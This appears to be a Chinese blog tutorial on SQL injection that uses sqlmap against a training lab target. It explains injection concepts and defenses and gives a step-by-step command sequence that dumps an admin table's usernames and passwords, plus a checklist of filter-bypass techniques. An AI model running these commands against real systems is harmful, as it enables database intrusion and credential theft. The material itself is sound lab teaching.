sql注入漏洞及其sqlmap工具的使用

发布于:2024-04-25 ⋅ 阅读:(20) ⋅ 点赞:(0)

一、sql注入的原理

sql注入概念:

  sql注入主要是将sql语句,插入到web表单提交或者输入域名或者页面请求的查询字符串,最 终      达到一个欺骗服务器执行sql语句的效果。

sql注入的原理:主要分为平台层注入和代码层注入两种原因

平台层注入:平台层注入主要是因为数据库本身就存在有漏洞、或者进行了不安全的数据库配置。

代码层注入:代码层注入主要是因为,程序员在编写代码的时候、没有做严谨的代码过滤。从而执行了非 法的数据查询

二、sql注入靶机的搭建

http://inject1.lab.aqlab.cn:8003/index.php?id=1

三、使用sqlmap进行sql注入

(1).查看sql注入点和数据库类型
sqlmap -u(指定参数url) http://inject1.lab.aqlab.cn:8003/index.php?id=1 

我们可以看到注入点为get型。
注入方式为:布尔盲注和时间盲注。
数据库类型为:mysql
数据库版本为:5.0.12 

(2).查看数据库databases名称
sqlmap -u(指定参数url) http://inject1.lab.aqlab.cn:8003/index.php?id=1 --current-db

上述注入结果可以得知:
    1.web服务器的操作系统为:Windows
    2.web应用技术:PHP版本为5.4.45;Apache版本为2.4.23
    3.数据库名称databases为:"maoshe"

(3).查看databases下的table表的内容
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe" --tables
sqlmap -u(指定参数) "sql注入网址" -D "databases" --tables

 我们得到tables下的一张数据库表格:
    主要包括:admin、dirs、news、xss

(4).查看tables下创建的数据库表的结构
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe"
	   -T "admin" --columns

此时查看到数据库databases:"maoshe"下的table:"admin"的表数据结构
    包含有:id、username、password 

(5).查看表中 "admin"的数据库表中的内容
sqlmap -u "http://inject1.lab.aqlab.cn:8003/index.php?id=1" -D "maoshe"
	   -T "admin" -C "id,username,password" --dump

此时我们就拿到了网站的登录账号和密码,以及他的保存地址路径。 

四、sql注入的思路是什么?

1、首先进行判断注入点,如(get注入、post注入、cookie注入、http请求头注入等)

2、进行数据库类型的判断(MySQL、Oracle、sqlserver)

        判断方法:(1).对其进行注入,通过报错类型信息进行判断

                          (2).判断数据库的端口,MySQL3306端口、Oracle1521端口

3、判断参数的数据类型:数值型和字符型

4、判断数据库的语句过滤情况:判断列数、判断显示位

5、进行绕过和过滤:关键字、逗号、等号、大于小于号、等价函数

6、根据注入情况选择注入方式:时间盲注、布尔盲注、联合查询、报错注入

五、sql注入完成后没有反应是为什么?

首先,无论SQL注入成功或者失败、都有可能造成没有反应。

sql注入成功了没有反应的原因:

SQL注入成功但没有回显”,这通常意味着已经成功地插入了恶意的SQL代码到目标应用中。

原因:盲注:目标应用可能故意隐藏了查询结果,以防止直接的信息泄露。

          输出限制:应用的输出可能受到某种形式的限制或过滤,导致即使注入成功,效果也不会被                              明 显展示出来。

         检查其他输出点:应用可能在其他地方(如日志,其他页面等)显示了与注入相关的输出。

sql注入失败了没有反应的原因:

   原因:1、sql注入的语句错误、或者被目标系统采取了相应的保护措施、导致被过滤掉了。

              2、目标系统存在日志监控日志、一旦检测到有可疑的sql注入语句、就会立即进行拦截。

              3、攻击者的网络配置或者目标系统的操作系统原因,导致没有成功的发出或者接受。

六、如何对sql注入进行防御?

  1. 日志和监控:实施日志记录和监控机制,以便及时发现和响应任何可疑活动。

  2. 使用Web应用防火墙(WAF): WAF可以识别和拦截常见的Web攻击。它可以通过检测和分析传入的HTTP请求来识别恶意模式

  3. 更新和修补: 保持数据库管理系统、应用程序框架和所有相关组件的更新。及时应用安全补丁,以修复已知的漏洞。

    4.限制和验证用户输入: 对所有的用户输入进行严格的验证和过滤,确保输入的数据符合预期             的格式和类型。